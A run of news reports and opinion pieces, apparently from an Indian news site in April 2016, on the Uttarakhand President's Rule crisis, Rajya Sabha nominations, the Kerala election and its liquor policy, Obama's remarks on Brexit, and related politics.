Why should concern for one cause exclude commitment to another? And isn't our cruel nonchalance towards animals a reflection of an overall deadly disposition towards all living beings?

But the most depraved of all are those who have reduced Shaktiman, the brave departed, to a political tool, to brandish conveniently days ahead of a floor vote in Uttarakhand and a year before polls.

Maneka Gandhi should be lauded for making bold and demanding punishment for the culprit. If her party had followed her advice, the matter could have ended.

Instead and given the dodgy balance of Congress vs BJP and the horse-trading - to insult a noble beast - currently on in Uttarakhand, we have an insane slanging match on our hands.

"I did not hit Shaktiman," says MLA Joshi. The horse died of neglect by the ruling Congress, chirp his BJP fellow-members in chorus.

It is time for draconian laws against animal cruelty. The idiotic sixties/socialist surmise that animals are less important than human beings must be banished forever. In 70 years of Indian independence  the majority under so-called 'socialist' governments, not one has ensured jobs or education for all, let alone the implementation of laws with eagle-eyed surveillance.

So the moronic argument that shutting down circuses would do animal trainers out of jobs, should be shoved in a dark place where people will never hear it again. There is much talk of 'skilling' India. How about re-skilling people done out of livelihoods dependent on cruelty to animals too?

As for our tortured animals, how about also ensuring their future by, say, allowing wealthy animal-lovers to open private sanctuaries - as in South Africa and elsewhere - which can, by all means, be kept under official checks and balances?

Farewell, sweet prince Shaktiman, graze greener pastures and never come back. We are not worth your majesty.
Shortly after Prime Minister Narendra Modi visited Jammu and Kashmir to inaugurate a top-notch hospital, there was an uneasy calm in the Valley. People remained focused on the recent killing of youths in Kupwara district in firing by the army and the police.

We asked a range of observers who have been following the situation in Kashmir to share their views on what is happening there and why.

Those that participated include writers and experts on the state, David Devadas and Rahul Pandita, the editor of Kashmir Rising Shujaat Bukhari, former special forces officer Lieutenant-General Prakash Katoch and Firstpost reporter from Jammu and Kashmir, Sameer Yasir. Each was presented with four questions:

What Jammu and Kashmir experts think of the unrest brewing in the Valley
Nobody can understand the complications of being an "ex", or an "ousted" and an incumbent chief minister better than Harish Rawat. For long he had been a prospective chief minister of Uttarakhand before finally making it to the coveted top post on 1 February 2014.

On 27 February when the President's Rule was imposed by the Centre in Uttarakhand, he was ousted from the post and became former chief minister.

All along he never yielded to the fact that the ground under him was fast slipping due to an implosion of dissidence within ranks of his own legislature party. His and Uttarakhand Assembly Speaker's conduct on 18 February, not allowing a division (voting) on Appropriation Bill to take place and claim that it was passed by a voice vote, was an indicator that he thought he would brazen out the situation.

Later his alleged bravado to bribe some of the nine rebel "disqualified" MLAs of his own party, as caught on camera in a sting operation at Dehradun airport lounge, first of its kind act by any serving chief minister, were all pointers that he was too keen to be on the top post by any means.

The Uttarakhand High Court judgment quashing President's Rule in the state on Thursday on a petition filed by him, provided him the much desired opportunity to regain the position which he for long believed rightfully belonged to him only. The next move he made surprised everyone -- go straight to the state secretariat, without a copy of the judgment either in his hand or without the state or Central authorities getting a copy of it, and re-claim chief ministerial chair and chamber.

But since it was an unprecedented situation, the high court trashing a presidential proclamation made under Article 356 and re-instating the chief minister, as also ordering a vote of confidence to be taken by him 10 days later on 29 April, nobody really knew what procedures were to be followed to lift the President's Rule and re-instate him. Was it so simple, the high court orders and in the next hour the appellant straightaway occupies the chair without following any other procedure?

Senior leaders, lawyers, constitutional experts, bureaucrats in New Delhi and Dehradun hurriedly searched for precedents, rule books on what procedures were needed to be followed. Did it require (in light of high court order) a meeting of the Union cabinet making a recommendation to the President Pranab Mukherjee to lift the President's Rule and subsequently Governor KK Paul be asked to re-instate Rawat. Or was was in the domain of Governor to act on his own, in consultation with the Ministry of Home Affairs and legal experts?

While the magnitude of Uttarakhand High Court judgment was still settling in and brainstorming on the future course of action was going on, news came in that Rawat had on his own, or with mild oral force acquired chief ministerial chair and chamber in the state secretariat.

Sources said when he landed at the secretariat, the chief secretary pointed out to him that there were no orders to him, he did not even have the copy of high court order and thus he advised Rawat to wait for a while. But Rawat's patience was running thin, he could no longer hold the status of an "ex-chief minister" and was too eager to become incumbent chief minister again. He apparently told chief secretary that following high court's order President's Rule has been lifted with immediate effect and he was chief minister again.

Rawat then went on to call a cabinet meeting. The beaming faces of Chief Minister Rawat and his ministers seated in the conference room were beamed all over. Rawat Raj was back.

Rawat held another cabinet meeting on Friday morning, calling a one day special session of assembly, as directed by the high court on 29 April, to hold a vote of confidence and also took some other policy decisions.

He perhaps did that to preempt Centre's petition in the Supreme Court challenging high court's order quashing President's Rule. By afternoon, Rawat's happiness proved to be short lived.

After hearing Centre's plea and counter from the Congress, the Supreme Court stayed the high court order and brought back President's Rule in the state till 27 April when it will hear the matter again.

Within matter of few minutes, from serving chief minister Rawat again became a former or ousted chief minister. In his first reaction to Supreme Court order, Rawat rather ruefully said, "I was a serving chief minister yesterday, till some time back. Earlier yesterday I was former chief minister....." He then went on to give a detailed talk as to how he was confident that things would ultimately go in his favour.

He first had to struggle hard before his party leadership to convince them about his potential and realise his ambitions, now he has to struggle hard before the judiciary and most importantly before his colleagues in assembly to win their support.

Rawat's fluctuating fatepotential to prospective, serving to former, again former to serving, yet again from serving to formerwould become a talking point for students of politics for all times to come. Rawat still has hope as the last word on the subject has not been spoken yet. In the meanwhile it's his fate which hangs in balance.
Congress vice president Rahul Gandhi held a janata darbar on Thursday in his home constituency of Amethi in Uttar Pradesh, where he heard public grievances and listened to locals who urged him to travel to other parts of the state and to bring Priyanka Gandhi, his sister, into active politics before the state assembly elections next year, reports The Indian Express.

The report stated that locals in Ghoraha, where Gandhi was holding a chaupal at the house of village pradhan Bindu Singh, requested Rahul to bring Priyanka Gandhi into active politics in order to revive the fortunes of the Congress party in the critically important state.

News18 reported that Gandhi kept his distance from the media, refusing to answer questions on any issue, including the developments in neighbouring Uttarakhand, where the high court struck down President's Rule and restored the Congress government.

The report added that Congress party leaders in the state, while downplaying Congress' chances in next year's UP Assembly elections, were enthused about the fact that Gandhi had become more accessible than before and had given them a patient hearing.

On a lighter note, Congressmen reportedly countered Prime Minister Narendra Modi's 'Chai pe Charcha' phrase by coining a new catchphrase 'Chane pe Charcha' as Gandhi interacted with party workers over a UP staple snack - laiyya-chana.

On Wednesday, Gandhi arrived in Amethi on a two-day visit to his parliamentary constituency in Uttar Pradesh. Accorded a warm welcome by his party members at the Fursatganj airstrip, Gandhi was driven to the residence of district Congress president Yogendra Misra in Gauriganj to attend a private function, his representative Chandrakant Dubey said.

The Congress, which ruled UP for decades since independence, has been moved to the margins since the past two decades during which the SP and BSP emerged as the two strong regional players.

The BJP, which swept the state in the 2014 national elections, is hoping to gain power in the 2017 assembly polls.

With inputs from PTI
Dehradun: BJP on Friday accused Harish Rawat of taking charge as Chief Minister in an "unconstitutional manner" saying it's illegal to assume office "suo motu" before the Uttarakhand High Court order quashing imposition of President's rule in the state and reviving his government could reach the Centre and the Governor.

"By taking charge suo motu as Chief Minister, Rawat has created a constitutional crisis," state BJP Spokesman Munna Singh Chauhan told reporters here.

The High Court order quashing President's rule and reinstating the state government should have been implemented by the President, the Centre or the Governor, he said.

He also objected to Rawat holding two Cabinet meetings since last evening saying it was illegal and in violation of democratic norms to convene the meetings before proving majority on 29 April as directed by the High Court.

As assuming charge of chief minister suo motu is illegal so are the Cabinet meetings chaired by him. And hence the decisions taken in the meetings null and void, Chauhan said.

He requested the Governor to instruct state's Chief Secretary to ensure decisions taken by the Cabinet at the last two meetings are not implemented.
Subramanian Swamy is finally about to get what he has always wanted from the Modi government  a berth in Parliament. His name is expected to feature among the list of Presidential nominations for seven 'nominated' member seats of the Rajya Sabha.

Swamy has never shied away from making his expectations public. He wants to start afresh in active politics by being an MP first, and then by becoming a minister in Narendra Modi's cabinet  holding finance or any other economic portfolio.

In September last year, when there was a great deal of media hype suggesting that the Modi government was considering to offer the Jawaharlal Nehru University vice chancellor post to him, Swamy had told Firstpost that, "My mind is focused. I will be in politics. If they have to give me something then they could offer me a ministerial berth in the Union Cabinet."

He had declined to accept the JNU VC's post. By doing so, he had refused five offers in total made by the Modi government or by his sympathisers in the Sangh Parivar.

Swamy had earlier stated, ahead of 2014 Parliamentary elections, that he had been promised the finance minister's job by someone at the top. But after the elections, he said that the same person told him that due to certain compulsions, Swamy could no longer have the finance minister's post.

Then came an offer for the post of a governor, which he refused because he didn't want to go into "retirement mode". This was followed by the offer of an ambassadorial post in the US or some Western country. A UN posting was also offered, after which the job of BRICS Bank chairman was also offered to him. He didn't take either.

Swamy's nomination to Rajya Sabha in days to come would stand out for more reasons than one.

Despite the fact that Swamy has been credited with many legal cases, including the 2G spectrum case  which landed the erstwhile UPA government in deep soup and the most celebrated of his legal fights against Sonia Gandhi and Rahul Gandhi  the National Herald case, he is still not taken to be an in-house nominee of the BJP.

He surely is part of the BJP though, but for Rajya Sabha nominations, he is taken to be a nominee of the 'Parivar'  an euphemism for the BJP's ideological fountainhead, the RSS.

Through a tweet, Swamy let the world know that he would soon be seen in Parliament:

I thank PTs for the consistent support through the last two years. As MP I will get the most important forum speaking on nation;s issues  Subramanian Swamy (@Swamy39) April 22, 2016

The BJP leadership had so far not been offering him what he actually wanted, because nobody knew how to tame his fiercely independent streak and his tendency to speak his heart irrespective of the political consequences it might have.

Now that he is about to be made an MP, a ministerial berth could still elude him for the simple reason that Swamy is now 76-years-old, a year older than the maximum age the RSS has prescribed for holding such posts.

Yashwant Sinha had famously described the 75-plus age as "brain dead" in the party. Swamy can, nevertheless, count himself to be an exception.

Article 80 of the Indian Constitution lays down the maximum strength of Rajya Sabha as 250, out of which 12 members will be nominated by the President from amongst "the persons having special knowledge or practical experience in respect of such matters as literature, science, art and social service."

Currently, there are seven vacancies due to retirement of industry expert Ashok Ganguly, HK Dua, Mani Shankar Aiyer, Javed Akhtar, B Jayashree, Mrinal Miri and Bhalchandra Mungekar.

Technically, Swamy would be a nominated member but for all practical purposes, he and some others on the list will be an addition to the BJP's strength in the Upper House.

Four months ago, Swamy was allotted a bungalow in Lutyens' Delhi due to "security" reasons during the peak of the National Herald hearings, filed by him against Sonia, Rahul and four other senior leaders of Congress. He will now be entitled to retain in that house as an MP.

But there is a problem, Swamy's equation with other leaders of the upper house and Finance Minister Arun Jaitley is not kosher. He has not minced his words in letting people know about his discomfiture with Jaitley.

Another BJP leader whose name is doing the rounds for nomination is Navjot Singh Sidhu. Once, he was considered close to Jaitley but subsequent to 2014 parliamentary elections, their equations changed. It was suspected that Sidhu had not supported Jaitley for the Amritsar parliamentary seat, which the former had held for two terms.

There are many in the BJP ranks who consider Sidhu as an asset, and the only Sikh leader in the party with significant stature and following in Punjab. There have been reports that suggest that Sidhu is being pursued by the Aam Admi Party. His prospective nomination to Rajya Sabha would be an indication that the BJP values his talent.

Journalist Swapan Dasgupta too is expected to figure in the list of nominated members. Interestingly, it is not his first nomination as his name was first recommended for the position 13 years ago. In 2003, he missed the Rajya Sabha nomination by a whisker. His name was recommended by the then Deputy Prime Minister LK Advani, but the then Prime Minister Atal Bihari Vajpayee raised objections against him.

It was said that Vajpayee had held a grudge against Swapan because of a line reference made by him in one of his signed articles. Swapan is also close to Modi, Amit Shah and Jaitley. Since the time the Modi government came to power, there have been numerous speculations about Swapan's potential progression, most recently about the Nehru Memorial Museum and Library.

Malayalam actor Suresh Gopi is another interesting name on the list. He is BJP's prime campaigner in Kerala and by making him an MP, the BJP is sending a message across that the party is promoting the southern most state's interests.

Kerala so far, has been unrepresented by the Modi government. The BJP hopes to open its account in Kerala Assembly elections and win a few seats. If that is to happen, Gopi's contribution will be significant. In fact, it was the confirmation of Gopi's nomination to Rajya Sabha that gave way for other names to be leaked to the media.

If Gopi is to represent the southern tip, then World Champion and Olympic medallist Mary Kom's nomination to the upper house would emphasise the fact that the Modi government cares for the North-East. By virtue of her grit, perseverance, determination and ambition to be the number one boxer in the world, she has acquired the status of a national icon. Her nomination would be a well deserved one.

Another name doing the rounds is Narendra Jadhav. His name has evoked a great deal of curiosity and debate in the political circle. He belongs to the Dalit community and had been a member of the Sonia Gandhi led National Advisory Council from 2010 till the time it was dismantled by the Modi government in 2014.

He was also appointed as a Planning Commission member by the Mamomohan Singh Government. He has strong credentials, both as an economist and an administrator. He has also served in the RBI, held top IMF positions and held prime positions with some foreign governments.

Jadhav's possible nomination is being attributed to PM Modi taking a fancy for his credentials, not just as a Dalit but as an economist.

Journalist turned media baron Rajat Sharma, actor Anupam Kher, and script writer Salim Khan's names are also in contention. One or two of them could make it to the final list.

By the time Parliament opens for the second half of the budget session, Rajya Sabha may see the faces of seven newly appointed members.
The Bharatiya Janata Party governments decision to nominate Malayalam action hero Suresh Gopi to Rajya Sabha is viewed by rival parties as BJP's desperate attempt to open its account in the Assembly. They feel that the decision ahead of Prime Minister Narendra Modis election tour to the state was clearly aimed at influencing the electorate.

Kerala Pradesh Congress Committee (KPCC) secretary Jyothi Kumar feels that the move was intended to serve a campaign point. Union Minister of State for Skill Development Rajiv Pratap Rudy had earlier made the promise of a ministerial position in the Modi government, if the party gets an MLA in the state Assembly.

Rudy had made the offer while inaugurating a district convention of National Democratic Alliance (NDA) headed by the party in Malappuram recently. In the course of his speech, he went to offer even two seats in the Cabinet, if the party gets two MLAs in the state Assembly.

The party began their poll preparation saying that they were contesting the election to rule the state. Later, they scaled down their tally to 10 seats. The rival parties view the climb down as BJPs realization that it was not easy to make an electoral breakthrough in Kerala.

We are sure that the BJP workers will push their campaign by projecting the actor as a future Union minister. This is not going to help the party in winning any seat in the Assembly. The voters of Kerala will see through their game plan, said Jyothi Kumar.

He said that the party had earlier promised to give Gopi the post of chairman of National Film Development Corporation (NFDC). It did not materialize due to opposition from various quarters. The current move to elevate Suresh Gopi, who joined the party only a year ago, will also end up like that.

If the BJP was sincere in having a representative from the state in the Union ministry, they could have nominated either Gopi or anybody else to Rajya Sabha earlier as the last BJP-led government headed by Atal Behari Vajapyee done. Vajpayee had got senior leader O Rajagopal elected to the RS from Madhya Pradesh and made him a member of the ministry, he pointed.

Their current attempt 'to give one and get one' in the middle of the election is a marketing gimmick that wont succeed. I am not sure it is possible at all to appoint a nominated member as a minister. Even if it is possible, it is against the democratic propriety, Jyothi Kumar said.

Suresh Gopi has denied any political motive behind his nomination. He said that it could not be viewed as a political act as he has been nominated under the art category. He has described it as a personal gift from the Prime Minister.

The 55-year-old actor, who has acted in more than 200 films, was earlier offered a seat in Thiruvananthapuram district to contest the Assembly election, but he declined the offer and chose to campaign for the party. Since then he has been actively campaigning for the BJP candidates in various parts of the state.

He is expected to accompany the Prime Minister during his campaign tours in the state next month and also share the podium with him. Modi is scheduled to address six public meetings as part of his election campaign in the state.

Suresh Gopi, who never showed any political inclination, had fallen under Modis charm after he met him in March 2014 for the first time while he was chief minister of Gujarat. The actor said he was captivated by Modis anxiety to gather even minor details of everything that happened in Kerala in the last 20 years.

Though Gopi had no intention to enter politics, Modi tried to draw him close to him by inviting the actor to his swearing-in ceremony. The actor has been a vocal supporter of Modi since then. He decided to join the BJP last year.

Political observers feel that the timing of Gopis nomination was suspicious. They said that they would not be surprised, if the rival parties find impropriety in the decision. Jacob George, a political commentator, said that if the BJP was keen to use the actors service they could have accommodated him earlier.

Jacob feels that the BJP may have nominated him now to give an advantage to the party in the campaign. The BJP leaders have realized that the Modi wave that helped the party to improve its vote share in the Lok Sabha and local body election in the state, may not work in the Assembly election.

The party had hoped that the Prime Ministers visit to Kollam to see the victims of the temple fireworks mishap on the same day would enthuse voters but it has not produced the intended result. There has been no marked improvement in the response of the people to the BJP campaign, says Jacob.

The party is worried as even their central leaders and ministers were not able to draw the kind of crowd they attracted earlier. Jacob, who is now touring from the state capital to the northern tip of the state for a television programme says that he found the BJP workers becoming restless in many places.

This is clearly a sign of the desperation creeping into the partys rank and file. The party seems to have realized that it was not easy to win an election in a state like Kerala, where the minorities constitute a major chunk of the electorate.

The party had hoped that it could fuel a Hindu consolidation with the help of caste outfits like the Sree Narayana Dharma Paripalana (SNDP) Yogm, an organization of the lower caste Ezhava community, but it seems to have alienated the upper caste Nair community led by Nair Service Society (NSS) from the party.

Even a sizable section of the Ezhavas have not reconciled to the political moves of SNDP leader Vellappally Natesan and his son Thushar Vellappally. This section is keeping a distance from the Bharatiya Dharma Jana Sena (BDJS), which was floated by the duo to forge a political alliance with the BJP.

This means that the alliance with the Ezhava community may not yield the intended result for the BJP. Securing substantial Hindu votes will not be sufficient for the party to win seats.
Shillong: The National Peoples Party (NPP) on Friday nominated late PA Sangma's youngest son Conrad K Sangma to contest for the May 16 by-poll in Tura parliamentary constituency.

The decision was taken at the party's central election committee meeting, party spokesperson James K Sangma said.

The ruling Congress has already nominated Chief Minister Mukul Sangmas wife and legislator Dikkanchi Shira to contest the by-poll.

The BJP has so far not decided on whether to field any candidate even as regional parties have decided not to put up any contestant.

The by-poll was necessitated following the death of Purno A Sangma.

PTI
Liquor has become a major topic of debate in the coming Assembly election in Kerala with the United Democratic Front (UDF) government granting licence to six new five-star hotels and the Opposition Left Democratic Front (LDF) shying away from stating its stand on the phased prohibition initiated by the former.

While the UDF has sought to clear the apprehension in the minds of prohibitionists by promising stricter norms for issuing new bar licence to five-star hotels, the Opposition is trying to keep both the prohibitionists and the boozers in good humour by adopting an ambiguous stand on prohibition.

Unveiling the UDF election manifesto, Chief Minister Oommen Chandy said they will not grant bar licence if any four-star hotels tried to misuse the provision in the policy by upgrading them to five-star hotels. He also promised tougher provisions if the central government grants five-star status to new hotels coming up in the state.

The manifesto has promised a liquor-free Kerala in 10 years. The policy change was prompted by a huge hue and cry over the governments decision to grant bar licence to six new five star hotels in the midst of the election.

While prohibitionists viewed this as an attempt to water down the policy, Chandys colleagues in the UDF feared it would deprive them the support it got from non-drinkers, especially the women, from shutting down all 730 bars in the three- and four-star category.

An urgent meeting of the UDF leaders held prior to the release of the manifesto mounted pressure on the government to make amends. They warned Chandy that the action would open flood gates as it would encourage more four-star hotels to secure five-star status. There have been reports that 14 hotel owners had already started the process.

The government had exempted five-star bars thinking that liquor served there would not be affordable to the common man. However, many of these hotels made it affordable to the ordinary boozers by making use of a provision in the Excise rules to open Janata counters.

The UDF leaders feared that four-star hotels were trying to get five-star status as it would allow them to continue their business through 'janata counters'. This, they feared, will lead to proliferation of liquor that the UDF had tried to check by shutting down all the bars in the three-star and four-star category from October 2014 and phased closure of retail outlets in the next 10 years. .

Sensing the danger, the Chief Minister made quick correction. With this, the UDF hopes to regain the support of non-drinkers, especially the women, who had lauded the policy which evolved from their decision not to renew the bar licences of 438 hotels found sub-standard by various agencies, including the Comptroller and Auditor General (CAG) in the run up to the 2014 Lok Sabha election.

The LDF-led by the Communist Party of India (Marxist), on the other hand, has tried to placate both the sections by adopting an ambiguous stand on the UDF policy in its poll manifesto. Though the manifesto has clearly described alcoholism as a big menace in Kerala, it does not propose to carry forward the UDFs initiative to fight it by reducing availability of liquor.

Instead, it has cheered the boozers and bar owners, who had rattled the ruling front by raising bribery charges against several ministers and UDF leaders, by resisting pressures from all quarters, including the CPM General Secretary Sitaram Yechury to state that they will not reopen the closed bars if they come to power.

Yechury had intervened in the issue after the Catholic Church came out with an appeal to defeat those who are trying to promote liquor. This has not deterred local LDF leaders, who have dismissed Yechurys suggestion saying that he was not aware of the realities in the state.

Is this an indication of the LDFs thinking that prohibition will not bring in more votes in a state like Kerala, which is the top consumer of liquor in the country? The victory they got in the 1996 election, which was fought by UDF on the strength of a ban on country liquor (arrack), supports the thinking.

The LDF was faced with the same question in 1996. Though they went to the polls by not answering the question whether they would reopen the closed arrack shops if they come to power, the people voted the LDF to power. Curiously, the LDF made no attempt to reopen the closed arrack shops after they assumed power.

The LDF has more reason to believe that they will get more gains by not supporting the UDFs policy, which they believe was borne out of political intrigues. Moreover, they feel that the prohibitionists would weigh the flourishing of illicit liquor mafia and the huge rise in drugs consequent to the closure of bars while exercising their franchise.

Our policy is to free Kerala from the clutches of all type of intoxicants. We do not think this is possible through prohibition, which has failed wherever it was implemented. We will fight the menace by launching a mass movement against not only liquor, but also drugs and other intoxicants, says LDF convenor Vaikom Viswam.

However, the ruling front and the prohibitionists are not convinced. They have viewed the ambiguity in its stand as a ploy to reopen the bars if they come to power. The chief minister even suspects a secret pact between the CPM and the bar owners behind this.

His charge is significant in the light of allegations that the bar owners had given Rs 10 crores to the CPM for dislodging his government.

The Madhya Virudha Samithi of Kerala Catholic Bishops Council (KCBC), which has been spearheading a sustained campaign against liquor, has also expressed suspicion in the LDF stand. Samithi general secretary Fr T J Antony said there was genuine concern among the people over the LDFs refusal to state its position on the closed bars.

We have no political bias towards the UDF. However, we consider the steps taken by their government are positive. We do not believe that liquor consumption can be brought down without reducing availability. The LDF, which has pointed out shortcomings in the policy, is duty-bound to come out with an alternative, Fr Antony told the Firstpost.

He said that the Church does not share the LDFs view that the alcohol menace can be fought through abstention. We have been trying to create awareness against alcoholism for several decades now, but it has not brought down liquor consumption in the state, he added.

When asked whether the Church will stand by its earlier appeal to defeat those promoting liquor, the priest asked how anybody could expect people to show their chest when their enemy brandishes a gun. He said that the people of Kerala were enlightened enough to distinguish between their friends and foes.
London: US President Barack Obama plunged into Britain's increasingly poisonous EU debate on Friday at the start of a visit, warning strongly against Brexit and pointing out that US soldiers had died for Europe.

Obama's intervention ahead of the EU referendum in June drew a furious response from eurosceptics like London Mayor Boris Johnson and UK Independence Party leader Nigel Farage, who said he should "butt out".

Writing in the Daily Telegraph, a traditional bastion of euroscepticism, Obama argued that Britain's place in the EU magnified its global influence and was a matter of "deep interest" to the United States.

"I realise that there's been considerable speculation  and some controversy  about the timing of my visit," Obama wrote.

Stressing that the choice was purely for the British people, he wrote: "I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States.

"Tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are.

"And the path you choose now will echo in the prospects of today's generation of Americans."

The issue of Brexit is likely to surface again at talks with Prime Minister David Cameron later on Friday, to be followed by a press conference.

Ahead of the meeting, Obama and First Lady Michelle Obama will lunch at Windsor Castle with Queen Elizabeth II, who turned 90 on Thursday.

Obama's intervention  an unusual foray into the domestic politics of another country  drew withering criticism from "Brexiteers".

Johnson, the leading face of the eurosceptic campaign, said it was "downright hypocritical" of the US to intervene in the debate.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy is a breathtaking example of the principle of do as I say, not as I do," he said in a piece for the Sun, Britain's top-selling tabloid.

'Unusually personal'

Richard Whitman, professor of politics and international relations at the University of Kent, said Obama's was "an unusually personal intervention".

"He's making a very strong appeal from the heart," he said.

"It will be difficult to say from the polls whether his intervention made a significant difference but I think that it creates a narrative which appears to be favouring the 'Remain' campaign," he said.

While experts warn many people have not yet decided how to vote, the "Remain" camp currently has 54 percent support compared to 46 percent for "Leave", according to an average of the last six opinion polls by academics at the What UK Thinks project.

Seen from Washington, Cameron's decision to call a referendum was a bold  if not downright risky  gamble that could leave Britain and the EU badly weakened.

"The EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery," Obama wrote.

"The European Union doesn't moderate British influence  it magnifies it.

Britain's voice in the EU keeps the bloc "outward looking" and "closely linked" to the United States, he said.

'Special and enduring'

Cameron, who is leading the campaign to remain in the EU and fighting for his political life, sought to underscore the close ties between the two powers.

The British leader said his talks with Obama would focus heavily on the fight against the Islamic State jihadist group, one of the many areas of cooperation between Washington and London.

"Britain's relationship with the United States is special and enduring. Based on shared values and convictions it has stood the test of time," Cameron said in a statement.

"I am deeply proud of what it has allowed us to achieve, in dealing with the global challenges we both face."

During Obama's visit he and the first lady will also dine Friday with Queen Elizabeth's grandson Prince William, his wife Kate and his brother Prince Harry.

From Britain, he will travel to Germany for a meeting with German Chancellor Angela Merkel and other EU leaders.
The Supreme Court on Friday stayed till 27 April the judgment of the Uttarakhand High Court quashing the imposition of President's rule, giving a new turn to the continuing political drama in the state by restoring the Central rule there.

President's Rule will continue in the state, said the Supreme Court, until the Centre's plea challenging the Uttarakhand High Court's order is heard on 27 April.

According to a report in The Economic Times, a bench consisting of Justice Dipak Misra and Justice Shivakriti Singh passed the ad interim order as Uttarakhand High Court's order was not available to the top court.

The Uttarakhand High Court on Thursday had allowed Harish Rawat to restore his position as chief minister and asked him to prove his majority in the state assembly which is due on 29 April.

The Congress unit in Uttarakhand had jubilant celebrations after the High Court order with many slamming the BJP-led government at the Centre for meddling in the internal affair of states. But after Supreme Court's directive on Friday, neither of the camps  BJP and Congress. However, a few leaders reacted to the latest development:

Harish Rawat, deposed chief minister of Uttarakhand

"This order is interim, till 27th, because SC didn't have HC's judgement copy. We will follow SC's judgement with due respect. All in all, the state is facing a huge issue. Until SC makes a final judgement, President's rule can't be revoked"

Vijay Bahuguna, former Chief Minister of Uttarakhand

"Good judgement, quite hopeful that view of HC wont find favour with SC"

Kailash Vijayvargiya, national general secretary, BJP

"Harish Rawat took the CM office yesterday without permission of Governor"

Munna Singh Chauhan, BJP Spokesman

"By taking charge suo motu as Chief Minister, Rawat has created a constitutional crisis,"
The ball is in the Supreme Courts court now. The Uttarakhand High Court on Thursday set aside the Presidents rule imposed in the state last month. The High Court, while setting aside the order, reinstated Harish Rawat as the chief minister and ordered him to take a trust vote next Friday. However, on Friday, the Supreme Court has stayed the High Court order till the next hearing, which will take place on 27 April.

Now, the Supreme Court of India; the final arbiter of the constitutional maters will decide the case. While doing so, it will definitely look back to the point when a judgement by their predecessors changed the course of federal politics in the country. While pronouncing its judgement in S R Bommai case, the constitutional bench of the highest court made the arbitrary use of Article 356 of the Constitution very difficult.

Now more than two decades after the Bommai case, apex court will once again deliberate upon the use and abuse of the Article 356.

After the imposition of President's rule, Finance Minister Arun Jaitley had remarked that Uttarakhand is the textbook example of a breakdown of governance."

Responding to some questions on Article 356, noted constitutional expert Upendra Baxi while speaking to Firstpost earlier this month had remarked, I dont have access to paper-books and details of the arguments made in the court, but I am intrigued by what Mr Jaitley is reported to have said.

Can there be a situation that the lack of confidence in the ruling party is so manifest that no floor test is necessary, and whether the present case falls in this category, are questions that are now being raised, added Baxi

Discussing whether there can be a case where a floor test is not required Baxi had added, If the question now is that did the Bommai case lay down the requirement of a floor test in such cases, I will say yes. Did the Bommai case ask for floor test in all cases--it is for the court to decide; to see if there can be any exception. From an outside view, the politics in both cases (Arunachal Pradesh and Uttarakhand) is very murky.

In the Bommai case, it was made very clear that there should be a floor test. Nobody can say that the Supreme Court judgment was unreasoned. If the question is whether Uttarakhand warranted that exception, my answer would be that I dont see any exceptional situation. I have high respect for Mr Jaitleys constitutional acumen; he might have seen something by way of support as Constitutional lawyer and party person. I am not concerned with any party's political considerations. Let us say that if the matter goes to the Supreme Court, then the parties have to justify/de-justify the nature of the claimed exception.

Now with the Supreme Court examining the merits of the case, the Centre, which was reprimanded by the High Court for its blatant falsehood and use of extraneous and irrelevant arguments will have tough time defending itself in the apex court.

Professor Baxi had made an important point which resonates with an observation made by the bench in Uttarakhand High Court. Baxi had remarked,From the legal perspective, one question is whether the state budget was supposed to be passed, or that if it could not be passed, is a floor test the best way ahead?

The High Court, as reported by The Indian Express, had observed, It may be true that ordinarily when Money Bill is defeated, government tenders resignation. What happens if it doesnt resign? Can it be likened to government having fallen, as contended by the Central government?

Talking about the history of Article 356 and the Bommai case Baxi said, Dr Ambedkar insisted that it is a dead provision which should be seldom used, like we say that capital punishment should be awarded in rarest of the rare cases. But the history of the misuse of the Article is evident. Till the Bommai case, there was extraordinary use of this provision. The Bommai case had a number of cases of Presidents Rule proclamations to consider. The judges gave their verdict according to merit of each case. But in general, it was held that Presidents Rule should become rare. While there is no manageable judicial standard to scrutinise the satisfaction of the President, the fact is that it should not be ultra vires.

But the dead letter has been abused time and again, giving it a fresh lease of life. That in turn has transformed into big political storms, with the judiciary playing the final arbitrator between the warring state and the Centre. The Centres decision to suspend the government in Uttarakhand will now be judged by the apex court, in a case which will surely have wide ranging ramifications on Centre-state relations.

While explaining how this case was a matter of great discussion during the constituent assembly debate, Baxi said, During the Constituent assembly debate, Dr B R Ambedkar referred to the article as a dead letter. He said that "I share the sentiments that such Articles will never be called into operation and they would remain a dead letter. This was something which was quoted in the Bommai judgment too. And why did he call it as a dead letter? It was because he felt that it will be used in rare cases. It is not a normal tool of governance. The Sarkaria commission which laid down several guidelines and grounds which should be considered while imposing the presidents rule also echoed the same views.
From a cartoon cadre that acts and reacts in sync with the variable moods of its master in the seat of power, the city's police force seemed to have suddenly discovered its lost spine.

Much maligned and a subject of utter contempt and ridicule, the Kolkata Police baton on Thursday shook off the accumulated dust of inertia and came crashing down on troublemakers to ensure a largely free and fair election in the city's seven constituencies, leaving a disgruntled ruling party in its wake.

Even as West Bengal's Murshidabad, Burdwan and Nadia districts remained restive and witnessed sporadic violence during and just after the third phase of Assembly polls leading to three deaths, north Kolkata remained a welcome and surprising exception. The city's refreshingly pro-active police force kept goons on their toes all through the day and drew praise from the opposition and barely disguised ire from Trinamool Congress.

Credit for the cops' new-found steel must go to the new Police Commissioner, Soumen Mitra, whom the Election Commission dramatically put in charge on 13 April removing incumbent Rajeev Kumar against whom the opposition had leveled a litany of charges.

The twin decisions of removing an officer deemed close to the Chief Minister and appointing his replacement without taking any feedback from the state administration were seen a stunning lack of faith in the state and its machinery's ability to maintain law and order during the polls. Firstpost had pointed out that Mamata Banerjee won't take kindly to the slight and Kumar may even be reinstalled if TMC returns to power.

In subsequent rallies in different parts of the state, Mamata lambasted the Chief Election Commission's strategy to remove a host of civil and police officials, complaining that EC was acting at the behest of a 'nalish' syndicate (syndicate of complaints) formed by Left Front, Congress and BJP.

She went on to hint that Kumar, whom she had handpicked for the top cop's job when Surajit Kar Purakayastha retired in January this year, may return as the police commissioner  a remark that ran the risk of demoralising Kolkata's new police chief and confusing the force under him.

